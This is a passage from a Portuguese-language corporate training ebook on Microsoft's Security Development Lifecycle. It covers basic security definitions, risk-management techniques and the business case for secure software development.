produtivati.com.brprodutivati.com.br/.../sld/sdl_ebookcompleto.docx · web viewseguro) foi criada...

UNIVERSIDADE CAIXA

Produtiva TI

Programa de Desenvolvimento da TI

Módulo 03 – SDL - Security Development LifecycleCiclo de Desenvolvimento Seguro

Brasília2017

Todos os direitos reservados: Produtiva TI

Capa: xxxxxxxxxxxxxx

Conteúdo: Niedjha Abdalla-Santos

Composição: xxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Ilustrações: xxxxxxxxxxxxxxxxxxxxxxxxxx

Dados /internacionais de Catalogação na Publicação (CIP)

Abdalla-Santos, Niedjha Lucienne

Programa de Desenvolvimento da TI: Módulo 03 – SDL - Security Development Lifecycle – Ciclo de Desenvolvimento Seguro. Brasília:

Universidade CAIXA, 2017.

Bibliografia

1. SDL. 2. WSDL. 3. SDLC. 4. Desenvolvimento seguro. 5. Segurança em TI. 6. Webservices.

I. Abdalla-Santos, Niedjha Lucienne. II. Título.

TODOS OS DIREITOS RESERVADOS – é proibida a reprodução total ou parcial, de qualquer forma ou por qualquer meio, sem a expressa autorização dos detentores dos direitos de autor ou sem a citação da autoria intelectual da obra.

Sumário

Apresentação............................................................................................................................... 6

1. Introdução ao Desenvolvimento Seguro...................................................................................9

1.1. Definições............................................................................................................................ 11

1.2. Conceito de Risco e Técnicas Básicas para sua Administração.........................................14

Em RESUMO:............................................................................................................................ 20

2. Por que segurança em desenvolvimento?.............................................................................21

2.1. Justificativas Operacionais e Estratégicas..........................................................................21

2.2. Cases de Implementação....................................................................................................24

2.3. Visão Geral de Regulamentações que demandam segurança em desenvolvimento..........29

Em RESUMO:............................................................................................................................ 33

3. O processo de segurança em desenvolvimento.....................................................................34

3.1. Visão Geral do SDL.............................................................................................................35

3.2. A Fase de Planejamento.....................................................................................................38

3.3. A Fase de Design................................................................................................................40

3.4. A Fase de Implementação...................................................................................................42

3.5. A Fase de Administração....................................................................................................43

Em RESUMO:............................................................................................................................ 46

4. Papéis e Responsabilidades..................................................................................................47

4.1. Revisores............................................................................................................................ 48

4.2. Especialistas....................................................................................................................... 49

4.3. Auditores............................................................................................................................. 50

4.4. Facilitadores........................................................................................................................ 50

Capítulo 5. Introdução a Modelagem de Ameaças.....................................................................52

5.1. O Processo de Modelagem de Ameaças............................................................................54

Em RESUMO:............................................................................................................................ 58

6. As Vulnerabilidades do OWASP Top 10 2013.......................................................................59

6.1. A1: Injeção (Injection)..........................................................................................................60

6.2. A2: Quebra de Autenticação e Gerenciamento de Sessão (Broken Authentication and Session Management)...............................................................................................................61

6.3. A3: Cross-Site Scripting (XSS)............................................................................................62

6.4. A4: Referência Insegura e Direta a Objetos (Insecure Direct Object References)..............63

6.5. A5: Configuração Incorreta de Segurança (Security Misconfiguration)...............................64

6.6. A6: Exposição de Dados Sensíveis (Sensitive Data Exposure)..........................................65

6.7. A7: Falta de Controle para Função do Nível de Acesso (Missing Function Level Acess Control)....................................................................................................................................... 66

6.8. A8: Cross-Site Request Forgery (CSRF).............................................................................67

6.9. A9: Utilização de Componentes Vulneráveis Conhecidos (Using Known V ulnerable Components).............................................................................................................................. 68

6.10. A10: Redirecionamentos e Encaminhamentos Inválidos (Unvalidated Redirects and Forwards)................................................................................................................................... 69

Em RESUMO............................................................................................................................. 70

7. Segurança por Código............................................................................................................71

7.1. Práticas Gerais de Código Seguro......................................................................................72

7.2. Validação de Entradas e Codificação de Saída..................................................................72

7.3. Autenticação e Gerenciamento de Senhas.........................................................................72

7.4. Autorização e Gerenciamento de Acesso...........................................................................73

7.5. Gerenciamento de Sessão..................................................................................................74

7.6. Transmissão e Armazenamento de Informações Sensíveis................................................74

7.7. Interação com Banco de Dados..........................................................................................74

7.8. Tratamento adequado de erros...........................................................................................75

7.9. Logging................................................................................................................................ 75

8. Suporte na Revisão e Desenvolvimento.................................................................................76

8.1. Ferramentas de Suporte a Análise......................................................................................77

Trabalhos mais relevantes da OWASP......................................................................................77

Ferramentas do TechCenter de Segurança da Microsoft...........................................................78

8.2. Continuous Delivery............................................................................................................82

Em RESUMO:............................................................................................................................ 86

9. Métricas de Acompanhamento...............................................................................................88

9.1. Métricas para o estabelecimento do processo....................................................................90

9.2. Métricas para o acompanhamento do processo..................................................................94

Em RESUMO:............................................................................................................................ 96

10. Gestão de Vulnerabilidades e Resposta à Incidentes de Segurança...................................98

10.1. O Processo de Resposta a Incidentes de Segurança.......................................................99

A fase Verificar......................................................................................................................... 100

Alertar e Mobilizar Recursos....................................................................................................101

Avaliar e Estabilizar.................................................................................................................. 102

Resolver................................................................................................................................... 103

Melhorias Contínuas ao Processo............................................................................................103

10.2. O Papel da Gestão de Vulnerabilidades..........................................................................104

O que você pode fazer para ajudar a gerenciar as vulnerabilidades de segurança.................104

O que fazer quando ocorrer um incidente de segurança..........................................................105

CONSIDERAÇÕES FINAIS.....................................................................................................106

FONTES CONSULTADAS.......................................................................................................107

PDTI MÓDULO 3 - SDL

Apresentação

Olá!

Sou o TutorTI e estou de volta para te acompanhar neste último módulo

do nosso Programa de Desenvolvimento da TI (PDTI). Provavelmente vamos

nos ver menos nesta etapa do Curso, pois ela tem perfil diferenciado.

Você, que nos acompanhou desde o início, já sabe que o PDTI é

constituído por três módulos: Módulo 1, Corpo de Conhecimentos em Análise

de Negócio – BABoK (Versão 3.0); Módulo 02, PRINCE2 - Projects IN

Controlled Environments; e Módulo 03, Security Development Lifecycle – Ciclo

de Desenvolvimento Seguro.

Sabe, também, que o Curso reflete a busca da Caixa para que a

segurança seja vista como componente fundamental não só no

desenvolvimento de aplicações, como em seus negócios de forma geral.

Com o PDTI, portanto, procuramos o alinhamento de interesses e

necessidades organizacionais da CAIXA, contribuindo para ampliar a

capacidade de seus empregados identificarem necessidades de negócios e

definirem soluções para atendê-las.

Em cada um dos módulos, o conteúdo foi elaborado com o objetivo de

ampliar o entendimento quanto à importância da segurança da informação, que

deve estar presente desde o levantamento de requisitos até a implantação de

um projeto de TI.

Por isso, a sequência de evolução dos módulos teve como início a

análise de negócio (BABoK V3), fornecendo instrumentos para maior

conhecimento das estratégias organizacionais. Na sequência, procurou-se

desenvolver o entendimento de projetos em ambientes controlados (PRINCE2),

evidenciando que quaisquer projetos podem e devem ser alinhados com o

negócio da empresa. Agora, concluiremos com a temática do desenvolvimento

seguro (SDL), já com a visão ampliada pela aprendizagem alcançada nos

módulos anteriores.

O Módulo 1 do PDTI está dividido em dez capítulos, além desta

Apresentação. No Capítulo 1 serão abordados alguns conceitos introdutórios à

ProdutivaTI Página 5 de 108


temática do desenvolvimento seguro, além da definição de risco e de técnicas

básicas para sua administração.

Ainda como aspectos iniciais, são propostas algumas reflexões no

Capítulo 2, que está dividido nos seguintes tópicos: porque segurança em

desenvolvimento; justificativas operacionais e estratégicas; cases de

implementação; e visão geral de regulamentações que demandam segurança

em desenvolvimento.

O Capítulo 3 visita o processo de segurança em desenvolvimento,

apresentando inicialmente uma visão geral do Security Development Lifecycle

(SDL), seguida pelas fases do ciclo de desenvolvimento seguro: fase de

planejamento; fase de design; fase de implementação; e fase de administração

da solução.

Papéis e responsabilidades são apresentados no Capítulo 4, que define

as figuras de revisores, especialistas, auditores e facilitadores no contexto da

proposta do SDL. O Capítulo 5 introduz brevemente o processo de modelagem

de ameaças.

A comunidade internacional Open Web Application Security Project

(OWASP) é apresentada no Capítulo 6, que discrimina todas as

vulnerabilidades do OWASP Top 10 2013, indispensável recurso de segurança

para profissionais e organizações.

Em seguida, o Capítulo 7 discorre sobre Segurança por Código, assunto

que é discriminado nos seguintes tópicos: práticas gerais de código seguro;

validação de entradas e codificação de saída; autenticação e gerenciamento de

senhas; autorização e gerenciamento de acesso; gerenciamento de sessão;

transmissão e armazenamento de informações sensíveis; interação com banco

de dados; tratamento adequado de erros; e logging.

Suporte na revisão e desenvolvimento, ferramentas de suporte a análise

e o recurso continuous delivery são tratados no Capítulo 8. Enquanto o

Capítulo 9 aborda métricas de acompanhamento para o estabelecimento e

para o acompanhamento do processo de desenvolvimento seguro.

Finalmente, o Capítulo 10 discorre sobre a gestão de vulnerabilidades e

resposta à incidentes de segurança, dividindo a abordagem em dois tópicos: o



processo de resposta a incidentes de segurança; e o papel da gestão de

vulnerabilidades.

Ao longo deste Módulo 3, você perceberá que o assunto SDL possui

dinâmica e apresentação diferenciadas em relação ao BABOK® e ao

PRINCE®. Mais voltado ao segmento de Tecnologia da Informação (TI), o

tema é abordado majoritariamente de forma pontual, com definições curtas e

objetivas, tão características dos tópicos da TI. Por isso, algumas unidades de

aprendizagem serão mais curtas, apresentando apenas a definição ou os

parâmetros técnicos correspondentes aos tópicos relacionados.

Outro diferencial deste conteúdo é o fato dele ser prenominantemente

dirigido para profissionais de TI, exigindo, portanto, conhecimento prévio de

algumas terminologias da área. Sendo assim, se você sentiu dificuldades com

os conceitos negociais do Módulo 1, BABOK®3; se achou complexos os

tópicos de gestão de projetos abordados no Módulo 2, PRINCE2®, este é o

seu momento. Faça bom uso dele.

Lembramos, ainda, que, como o Security Development Lifecycle (SDL) é

uma solução da Microsoft® Corporation, grande parte do conteúdo

apresentado neste Curso foi elaborado tendo como suporte a documentação

de origem, em língua inglesa, os manuais e o website institucional daquela

corporação.

Organize seu tempo de estudo, fique atento às orientações contidas no

ambiente virtual, revise o material para a avaliação final e tenha um excelente

curso.

Sucesso!



1. Introdução ao Desenvolvimento Seguro

Este capítulo introduz uma visão geral do que se convencionou conhecer

como desenvolvimento seguro na área de Tecnologia da Informação. O

propósito é facilitar o entendimento das demais informações que serão

apresentadas ao longo do Curso.

Nesta unidade de aprendizagem você:

entenderá o que é considerado desenvolvimento seguro;

conhecerá alguns conceitos básicos ao estudo do tema;

perceberá a noção de risco;

identificará técnicas básicas para a administração de riscos.

A realidade atual expõe um mundo totalmente dependente das

tecnologias de comunicação e informação (TICS), notadamente daquelas que

se baseiam em sistemas baseados na Internet.

Recurso cada vez mais fundamental para a vida profissional e pessoal, a

Internet não só é base de novos sitemas. Ela também se mostra agregação

indispensável à atualização de sistemas antigos cuja reutilização não pode ser

descartada. Isso exige, frequentemente a interoperabilidade entre sistemas e

plataformas diferentes.

Calminha, TutorTI! InteroperabilidadeO que é isso

Vamos à explicação. Imagine uma agência bancária inaugurada na

década de 1960. Algo muito comum em organizações com a CAIXA, por

exemplo. Pense o que aconteceria com essa agência, e com a organização

como um todo, caso ela ainda mantivesse seus controles em enormes aquivos

baseados em papéis. Seria um verdadeiro caos, não é mesmo? Mais do que

isso, provavelmente essa empresa não teria tido condições de acompanhar a

realidade tecnológica do mundo atual e, por isso, já teria 'fechado as portas'.

Pois bem, suponha, agora, que tal empresa seguiu o processo de

atualização das organizações, no que diz respeito a seus controles internos.

Entretanto, se não dialogar com seu cliente, certamente ela perderá os



correntistas muito rapidamente. Afinal, hoje queremos soluções mais práticas:

acessar saldo e extratos pelo celular e tablet, fazer pagamentos, transferências

bancárias, compras, vendas e transações. Tudo com base em web services.

Acontece que, normalmente, a dinâmica dos sistemas web não é a

mesma daquelas que guardam e controlam arquivos e sistemas de

organizações de grande porte como bancos, universidades, laboratórios

médicos, hospitais, e instituições financeiras, por exemplo.

Diante dessa realidade, a solução passa por fazer com que esses

sistemas de origem e de porte variados 'conversem' entre si. Sendo assim,

quando acessamos nossa agência bancária a partir do telefone celular,

normalmente nem percebemos que estamos nos beneficiando da

interoperabilidade entre sistemas e plataformas diferentes. Mais claro agora?

Pois bem, com a ampliação da importância dos sistemas web, as

ligações domésticas e profissionais, físicas e lógicas, de conexões com a

Internet têm igualmente experimentado os chamados 'gatos' tão conhecidos

das instalações de água e de energia elétrica.

As tentativas de desvios, entretanto, não se restringem ao simples

acesso a sistemas de correios eletrônicos ou para navegação nas mídias

sociais. Isso porque web services circulam continuamente, repletos de

conteúdos valiosos para organização públicas e privadas, acionando o

interesses de indivíduos e grupos inescrupulosos que buscam tirar proveito da

informação que trafega pela Internet.

Sendo assim, as organizações têm sido pressionadas a se adequarem

continuamente à nova realidade, gerenciando o risco da não atualização e/ou

adotando um modelo de segurança em desenvolvimento de software. Isso

exige adoção de boas práticas e da cultura de desenvolvimento de

software. Além disso, o envolvimento da alta gestão é indispensável para que a

segurança das aplicações seja incorporada às atribuições e metas da

organização.

Software seguro, portanto, não decorre de tecnologias isoladas, nem

soluções mágicas, que aumentam a segurança do software. São necessários

recursos sob a forma de tempo, estudos e dedicação às práticas e à busca de

modelos e ferramentas para suporte ao processo de desenvolvimento.



Segundo a Microsoft® Corporation, um software considerado seguro

baseia-se em seis pilares: autenticação, autorização, auditoria,

confidencialidade, integridade e disponibilidade. Esses são considerados, como

veremos a seguir, os princípios da sefurança da informação. Observe que,

embora tenhamos citado o entendimento da Microsoft, ainda não estamos nos

referindo especificamente ao SDL. Ou seja, quando falamos de software ou

desenvolvimento seguro, estamos sendo genéricos.

Para melhor entendermos os conteúdos relacionados ao

desenvolvimento seguro, algumas definições se fazem essenciais.

1.1. Definições

As definições a seguir foram obtidas principalmente a partir de

documentos da Associação Brasileira de Normas Técnicas (ABNT), do National

Institute of Standards and Technology (NIST) e do website institucional da

Microsoft Corporation para o SDL:

Ataques, vulnerabilidades, medidas, recurso, riscos e ameaças são

termos cuja diferença deve ser bem compreendida:

Recurso é qualquer item de valor, objeto físico ou lógico, recurso de

sistema, passível de se tornar alvo de ameaças, vulnerabilidades,

ataques, ou risco de segurança.

• Ameaça é um evento ou circunstância que tem o potencial de

impactar, por meio de sistemas de informação, uma organização,

pessoa ou nação; é uma ocorrência potencial, maliciosa que pode

danificar ou comprometer seus recursos.

Risco de segurança da informação está associado com as chances de

que ameaças explorem vulnerabilidades de um ativo de informação

ou grupo de ativos de informação e consequentemente causem

dano a uma organização. Logo, risco é uma medida de probabilidade

de certa ocorrência.



Vulnerabilidade diz respeito a fraquezas na implementação,

configuração, controle, ou procedimento de segurança em sistemas, que

podem ser exploradas por uma ameaça.

Medida é uma ação, providência ou garantia que trata a ameaça e reduz

o risco.

Ataque (ou exploração) é uma ação, ou tentativa de ação, que prejudica

um recurso, cujo objetivo é causar dano ou obter informação não

autorizada.

Segurança da informação é a proteção da informação de vários tipos de

ameaças para garantir a continuidade do negócio, minimizar o risco ao

negócio, maximizar o retorno sobre os investimentos e as oportunidades de

negócio.

Princípios de segurança da informação: autenticação, confidencialidade,

integridade, controle de acesso, disponibilidade e o não-repúdio.

Autenticação divide-se em duas fases: primeiramente a identificação,

que consiste na checagem de existência do cadastro do usuário diante

de seus dados (nome, CPF, e-mail, conta corrente); na segunda etapa

é feita a validação, ou seja, a comprovação de que aquele é realmente o

usuário identificado e autorizado a acessar o sistema, por exemplo.

Exemplos: e-mail e senha; conta-corrente e token; cartão de crédito e

impressão digital.

Confidencialidade é a "propriedade de que a informação não esteja

disponível ou revelada a indivíduos, entidades ou processos não

autorizados” (ABNT NBR, 2006). Diz respeito à privacidade de uma

informação quanto a acessos não autorizados.

Exemplo: violação de sigilo bancário; interceptação de chamadas

telefônicas.

Integridade é a “propriedade de salvaguarda da exatidão e completeza

de ativos.” (ABNT NBR, 2006). Relaciona-se à proteção da consistência

dos dados contra alterações, duplicidade, multiplicidade e deleção.

Exemplo: alteração de senhas pessoais; deleção de informações em um

processo judicial.



C ontrole de acesso é normalmente confundido com a autorização.

Entretanto, seja físico ou lógico, o controle de acesso consiste nos

processos de autenticação, de autorização e de auditoria. Permite ou

nega o acesso de um sujeito (indivíduo, sistema, processo, entidade

ativa) a um objeto (local, sistema, arquivo, entidade passiva). A

autenticação identifica quem acessa, a autorização determina o que ele

pode fazer, enquanto a auditoria diz o que ele fez.

Exemplo: log de dados, ou de sistemas, são arquivos que registram um

'rastro' dos usuários, desde o acesso até sua saída do sistema.

Disponibilidade é a “propriedade de estar acessível e utilizável sob

demanda por uma entidade autorizada” (ABNT NBR, 2006).

Exemplo: caixa eletrônico 'fora do ar'; sistema bancário indisponível pela

web.

Não-repúdio corresponde às ações adotadas para evitar que o usuário

negue ter realizado determinada ação, como a criação ou o recebimento

de uma informação.

Exemplo: as ações de auditoria na leitura dos logs ou footprints de

sistemas são formas de investigar autoria de ataques de segurança.

Princípios do processo de desenvolvimento seguro: segurança por

projeto; segurança por default; segurança no desenvolvimento e produção;

comunicações.

Segurança por projeto requer que o software tenha um projeto robusto,

capaz de minimizar os riscos; ou seja, o software deve ser projetado,

arquitetado e implementado de forma a ser resistente aos ataques

Segurança por default deve considerar o ambiente de produção inseguro

e, por isso, usar privilégios mínimos disponibilizando apenas o

necessário.

Segurança no desenvolvimento e produção significa que ferramentas e

guias de segurança devem ser disponibilizados aos usuários finais e

administradores da aplicação

Comunicações são importantes, portanto, descobertas de

vulnerabilidades devem ser claramente comunicadas ao cliente, bem

como quais ações serão tomadas.



Segurança de redes diz respeito aos meios de proteção dos dados que

trafegam por uma rede, seja pela sua dimensão privada, seja por sua fase

web. Normalmente, a segurança de redes é dividida por camadas que se

utilizam de protocolos diferentes de comunicação, o que permite criar

eficientes mecanismos de proteção para autenticação e transporte de

dados.

Web Services são aplicações lógicas, programáveis que viabilizam a

interoperabilidade, a compatibilidade, de variados tipos de aplicativos,

independentemente de sistema operacional, permitindo a comunicação

e intercâmbio de dados entre diferentes redes. Além da interoperabilidade,

serviços web possuem diversas outras funcionalidades, sendo a

disponibilidade ao público por meio da Internet uma das mais importantes,

e perceptíveis.

Segurança da informação para web services. Serviços web são

excelentes aliados para soluções de negócio e, ao mesmo tempo,

representam potenciais aspectos de vulnerabilidades. Requerem, portanto,

estratégias próprias de segurança para evitar alteração de mensagem,

perda de confidencialidade, falsificação de identidade; repetição de parte

ou da mensagem inteira e a negação de serviço, entre outros.

1.2. Conceito de Risco e Técnicas Básicas para sua Administração

Tendo em vista as definições de ameaças, ataques, riscos e

vulnerabilidades, que acabamos de conhecer, fica evidente que, para diminuir

os riscos em nossos sistemas, devemos protegê-los contra ataques, reduzir

suas vulnerabilidades e monitorar as ameaças. Observe na Figura 1, a seguir,

como os conceitos estão relacionados.

O Open Web Application Security Project (OWASP) entende os riscos

como caminhos que os atacantes podem, potencialmente, utilizar através de

uma aplicação para causar danos ao negócio de uma organização, ou à propria

organização. Esses riscos podem, ou não, ser suficientemente graves para

justificar a atenção.



Figura 1 - Riscos de segurança em aplicações. FONTE: https://www.owasp.org/index.php/Top_10_2013-Risk

Às vezes, os caminhos são muito evidentes e fáceis de serem

encontrados e explorados; outras, são muito difíceis. Da mesma forma, o dano

causado pode ter consequências mais ou menos graves para o negócio. Por

isso, é preciso que as organizações conheçam previamente os riscos aos quais

estão expostos, a fim criar estratégias próprias para administrá-los.

Gestão de riscos é o nome dado à forma como se administra, como se

lida com os riscos e tem por objetivo diminuir a frequência e/ou a severidade de

eventuais prejuízos. Observe como a Figura 2, a seguir, esquematiza o

processo de gestão de riscos em TI. As técnicas básicas de administração

variam conforme sejam genéricas, baseadas no OWASP, baseado na ABNT

NBR ISO/IEC 27005:2011, ou algum outro framework.

A análise de risco é um assunto de caráter transdisciplinar, que transita

nas ciências humanas, sociais e exatas com grande importância, pois diz

respeito à base para se identificar as fraquezas que devem ser tratadas e

remediadas em um objeto de estudo, seja elemento, sistema ou organização.

Quando se trata de segurança de TI, de software ou de desenvolvimento

seguro, a análise de risco tem assumido importância crescente, sendo muitas

vezes conduzida por todo o ciclo de desenvolvimento.

O SDL da Microsoft e o CLASP (OWASP) tratam de análise de risco na

forma de Threat Modeling, ou Modelagem de Ameaças. A seguir, faremos

algumas abordagens distintas, apresentando técnicas básicas e genéricas de

gestão de riscos, acrescidas das visões OWASP, ABNT e SDL.



Figura 2 - Gestão de riscos em segurança da informação.

FONTE: ABNT, 2011.

Técnicas básicas de administração de riscos começam com a

identificação e mensuração (análise e avaliação) inicial dos riscos. Em seguida,

o risco identificado será tratado de uma das seguintes formas:

Negado , quando se prefere desistir da opção (atividade, sistema, operação)

do que correr determindado risco. Exemplo: desiste-se de implantar

determinado sistema para não correr o risco das consequências de

eventuais ataques a suas vulnerabilidades.

Reduzido , ao serem adotadas ações que reduzem as chances do risco se

concretizar. Exemplo: apenas alguns módulos do sistema são implantados,

eliminando aqueles com maiores vulnerabilidades.

Transferido , caso em que uma parte do risco é compartilhada por meio de

seguros ou de terceiros que passam a exercer a atividade. Exemplo:

implanta-se o sistema completo, em parceria com terceiros que assumem

as consequências dos módulos de maiores vulnerabilidades.

Aceito , quando se admite a existência do risco, mas não se adota nenhuma

medida, pois se considera que as ações de tratamento seriam mais

dispendiosas do que eventuais prejuízos decorrentes da ocorrência do

evento.



Para determinar o risco inerente de uma solução em sua organização,

você pode, também, utilizar a técnica que consiste em avaliar a probabilidade

associada a cada agente de ameaça, vetor de ataque, vulnerabilidade de

segurança e combiná la com uma estimativa dos impactos técnico e no negócio

da sua empresa. Juntos, esses fatores determinam o risco total.

A OWASP propõe um esquema simples de classificação de risco,

resumido na Tabela 1, a seguir, como forma de administrar cada um dos riscos

identificados, considerando uma aplicação específica dentro de um negócio ou

organização.

Figura 3 - Esquema de Classificação de Riscos. FONTE: OWASP 10 2013

Técnicas de administração de riscos são também propostas pela norma

ABNT NBR ISO/IEC 27005:2011, que define processos para explorar

continuamente o ambiente corporativo, com o objetivo de identificar riscos,

avaliar a possibilidade de sua ocorrência e o impacto sobre o negócio, para

gerar recomendações capazes de diminuí-los até um nível aceitável.

Qualquer que seja a metodologia adotada para escolha das técnicas, a

identificação de risco traz à tona os ativos, ameaças, controles e

vulnerabilidades, enquanto a análise de risco tem foco na probabilidade e

impacto qualitativo e quantitativo do risco sobre o negócio ou organização.

Para decidir se o risco será negado, transferido, reduzido ou aceito, a

avaliação de risco compara o nível do risco com os critérios de

aceitação, priorizando o tratamento a ser escolhido, cujo reconhecimento

deverá ser formalmente registrado.

O monitoramento e distribuição dos resultados deve ser feito para as

partes interessadas que executarão uma análise crítica do processo. A

gestão de risco de segurança da informação possui importante papel na



complementação da segurança da informação; é indispensável no

desenvolvimento de sistemas; auxilia no planejamento estratégico do

negócio; além de permitir a identificação antecipada de fraquezas de projetos

e implementações.

O tratamento depende do modelo para avaliação de riscos adotado. É

preciso inicialmente definir o processo de avaliar riscos que será associado ao

software, que deve incluir gestão de vulnerabilidades e resposta a incidentes.

Modelos como o Threat Modeling da Microsoft® podem ser adotados como

referência.

Especificamente no que se refere à segurança em processos de

desenvolvimento de software, procura-se aumentar as chances de

desenvolvimento seguro levando-se em consideração o gerenciamento de

risco, os pontos críticos de segurança do software e o compartilhamento

do conhecimento.

Trata-se de adotar um framework de gerenciamento de riscos durante

todo o processo de desenvolvimento do software. Este modelo não nega, mas

também não se relaciona diretamente à análise de riscos da arquitetura de

gestão, e, sim, especificamente à identificação e acompanhamento dos

riscos ao longo de todo o processo de desenvolvimento.

Consiste, portanto, em identificar, classificar e compreender o risco

do software à medida que o risco sofre modificações no tempo. Para resolver

a dificuldade de associar os riscos técnicos aos riscos de negócio, o risco

deve ser discutido, compreendido e relatado em termos de impacto no

negócio.

Trata-se de aplicar o framework de gerenciamento de riscos a partir do

alinhamento consistente das diretrizes de governança corporativa com a

área de desenvolvimento de software. A execução das tarefas de gestão de

riscos deve ocorrer paralelamente com as atividades de desenvolvimento,

podendo ser conciliada com o gerenciamento de outros riscos, como aqueles

relativos à gestão do projeto e à confiabilidade do sistema, por exemplo.

Esse framework possui cinco estágios:

compreender o contexto de negócio;

identificar os riscos técnicos e de negócio;

sintetizar e priorizar os riscos;



definir a estratégia de mitigação de riscos; e

desenvolver e checar as correções.

A fase de compreensão do contexto de negócio exige que o analista

deve extraia e descreva as prioridades e objetivos de negócio, para avaliar os

requisitos de negócio que são relevantes e os riscos de software que devem

ser avaliados.

Na etapa de identificação dos riscos técnicos e de negócio procura-se

alinhar os riscos de software aos objetivos de negócio, através dos riscos de

negócio. Identificar os riscos de negócio ajuda a definir e controlar as

técnicas de extração, mensuração e mitigação de riscos dos artefatos de

software. Permite, também, quantificar o impacto de um risco de software, o

que ajuda a comunicá-los à administração.

Sintetizar e priorizar riscos é uma fase que procura identificar a ordem

em que os riscos devem ser tratados – ou seja, como os recursos serão

alocados para mitigar riscos – considerando o contexto de risco e procurando

agregar valor para a organização.

A etapa de definição da estratégia de mitigação de riscos sujeita-se

às restrições de custos, integração e compreensão na organização. Tudo

isso, sem deixar de garantir que os riscos são satisfatoriamente mitigados.

Finalmente, a fase de desenvolvimento das correções e validação, diz

respeito às alterações desenvolvidas nos artefatos que contém os riscos;

envolve a utilização de métodos de verificação capazes de comprovar que

o risco foi realmente mitigado.

Para garantir o desenvolvimento seguro, as cinco etapas desse modelo

de gerenciamento de riscos devem ser continuamente aplicadas durante a

elaboração do software, pois os riscos podem surgir em qualquer momento

do processo de desenvolvimento. Em um ambiente de desenvolvimento

iterativo, o framework deve ser aplicado repetidas vezes sobre os mesmos

artefatos. O processo pode ser aplicado por diversas vezes, em uma

determinada fase do desenvolvimento, em um artefato específico, ou no

projeto como um todo.

Chegamos ao final de nossa primeira unidade de aprendizagem. Nela,

você conseguiu adquirir uma visão geral do desenvolvimento seguro,



entendendo seu conceito e algumas importantes definições a ele relacionadas;

conheceu a noção de risco, bem como de técnicas básicas para sua

administração.

Em RESUMO: Desenvolvimento seguro => relação com soluções web;

Desenvolvimento seguro => interoperabilidade entre sistemas e plataformas diferentes;

Desenvolvimento seguro => adotar modelo de segurança em desenvolvimento

de software;

Desenvolvimento seguro => adoção de boas práticas e da cultura de segurança;

Desenvolvimento seguro => envolvimento indispensável da alta gestão;

Desenvolvimento seguro => recursos sob a forma de tempo, estudos e dedicação às

práticas e à busca de modelos e ferramentas para suporte ao processo de

desenvolvimento;

Recurso => item de valor, capaz de se tornar alvo de ameaças, vulnerabilidades,

ataques, ou risco de segurança;

Ameaça => ocorrência potencial, maliciosa, que pode danificar ou comprometer seus

recursos;

Risco => medida de probabilidade de certa ocorrência;

Vulnerabilidade => fraqueza que pode ser explorada por uma ameaça.

Medida => ação, providência ou garantia que trata a ameaça e reduz o risco.

Ataque (ou exploração) => ação, ou tentativa, cujo objetivo é causar dano a um recurso

ou obter informação não autorizada.

Princípios do processo de desenvolvimento seguro => segurança por projeto;

segurança por default; segurança no desenvolvimento e produção; comunicações.

Gestão de riscos => forma como se administra os riscos, para diminuir a frequência

e/ou a severidade de eventuais prejuízos.

Threat Modeling ou Modelagem de Ameaças => forma como o SDL e o OWASP tratam

os riscos.

Técnicas básicas (gerais) de gestão de riscos => negado, reduzido, transferido, aceito.

Técnicas básicas (software) de gestão de riscos => compreender o contexto de

negócio; identificar os riscos técnicos e de negócio; sintetizar e priorizar os riscos;

definir a estratégia de mitigação de riscos; e desenvolver e checar as correções.



2. Por que segurança em desenvolvimento?

Esta unidade de aprendizagem apresenta, ainda como aspectos iniciais,

algumas propostas de reflexão em torno do desenvolvimento seguro, com o

objetivo de ampliar a visibilidade dos tópicos que nortearão os próximos

capítulos do Curso. Ao longo deste Capítulo 2, você:

perceberá porque é importante que as organizações se envolvam

com segurança em desenvolvimento de sofware;

identificará algumas justificativas operacionais e estratégicas para

o tema;

ilustrará o entendimento com breves cases de implementação; e

receberá uma visão geral das regulamentações que demandam

segurança em desenvolvimento.

O manual The Security Development Lifecycle - SDL: A Process for

Developing Demonstrably trata do tema deste Capítulo abordando duas

questões. A primeira é: porque você deve se preocupar em melhorar a

segurança do seu software? E a segunda é: como vender essas melhorias

para os gestores corporativos?

As respostas a ambas as perguntas estão no próximo tópico, que

apresenta justificativas operacionais e estratégicas para o SDL. em seguida,

veremos como alguns cases de implementação do SDL na própria Microsoft.

2.1. Justificativas Operacionais e Estratégicas

Como responder a questão: porque segurança em desenvolvimento? O

manual do SDL propõe que a resposta seja dada sob duas vertentes.

Justificativas operacionais nos dizem porque devemos nos preocupar em

melhorar a segurança do nosso software. Justificativas estratégicas nos

fornecem argumentos capazes de convencer os gestores corporativos quanto

ao valor das melhorias de segurança.



Fica fácil aceitar os argumentos operacionais, técnicos, dados no

Capítulo 1 e no Capítulo 2 do manual do SDL:

os atuais métodos de desenvolvimento não conseguem produzir

software seguro sem um modelo de processo de desenvolvimento

seguro;

as ameaças têm mudado ao longo do tempo, aumentando muito a

vulnerabilidade dos usuários;

a falta de segurança está associada à questão da privacidade e ao

tempo de inatividade;

a paisagem de segurança e privacidade não é a mesma da virada do

século;

hoje, tudo está conectado e os criminosos estão sendo atraídos para

a comunidade on-line, pois se entende que é 'onde o dinheiro está';

não existe qualquer indício de que essa tendência vai diminuir;

o histórico da indústria de software está repleto de bugs de

segurança.

Justificativas técnicas semelhantes são suficientes para convencer os

perfis técnicos. Afinal, se a Tecnologia de Informação pretende proteger e dar

suporte ao futuro das organizações, passando uma visão de computação

confiável, precisamos realmente atualizar nossos processos para fornecer

produtos mais seguros, confidenciais e confiáveis.

Por outro lado, vender aprimoramentos de processos de segurança para

a direção corporativa não é tão fácil. Isso porque os profissionais de segurança

focam muitas vezes em ameaças que, apesar de importante, são potenciais. E

probabilidades não costumam preocupar indivíduos 'de negócios'. Por isso,

especialistas em segurança são normalmente vistos como alarmistas nas

reuniões com a alta administração.

Uma forma de facilitar a venda de ideias que tragam soluções de

segurança é deixar que os gestores percebam o valor monetário associado aos

ganhos com segurança. O que deixa clara a importância dos profissionais de

segurança da TI entenderem a lógica da análise de negócios.



Afinal, gestores trabalham para garantir a lucratividade das

organizações. Ou seja, precisam estar certos de que soluções que requeiram

mudanças e investimentos devem retornar valor às partes interessadas.

Mesmo que tais soluções representem inovações que atendam necessidades

organizacionais, se os ganhos não forem evidenciados, ficará difícil convencer

a alta administração.

ATENÇÃO:

Perceba como o conceito de Análise de Negócio, que aprendemos nos estudos de BABOK®3, ajuda os profissionais de segurança a entenderem os gestores corporativos:

"Análise de negócio é a prática de viabilizar mudanças que atendam as

necessidades de uma organização por meio de soluções que entreguem valor

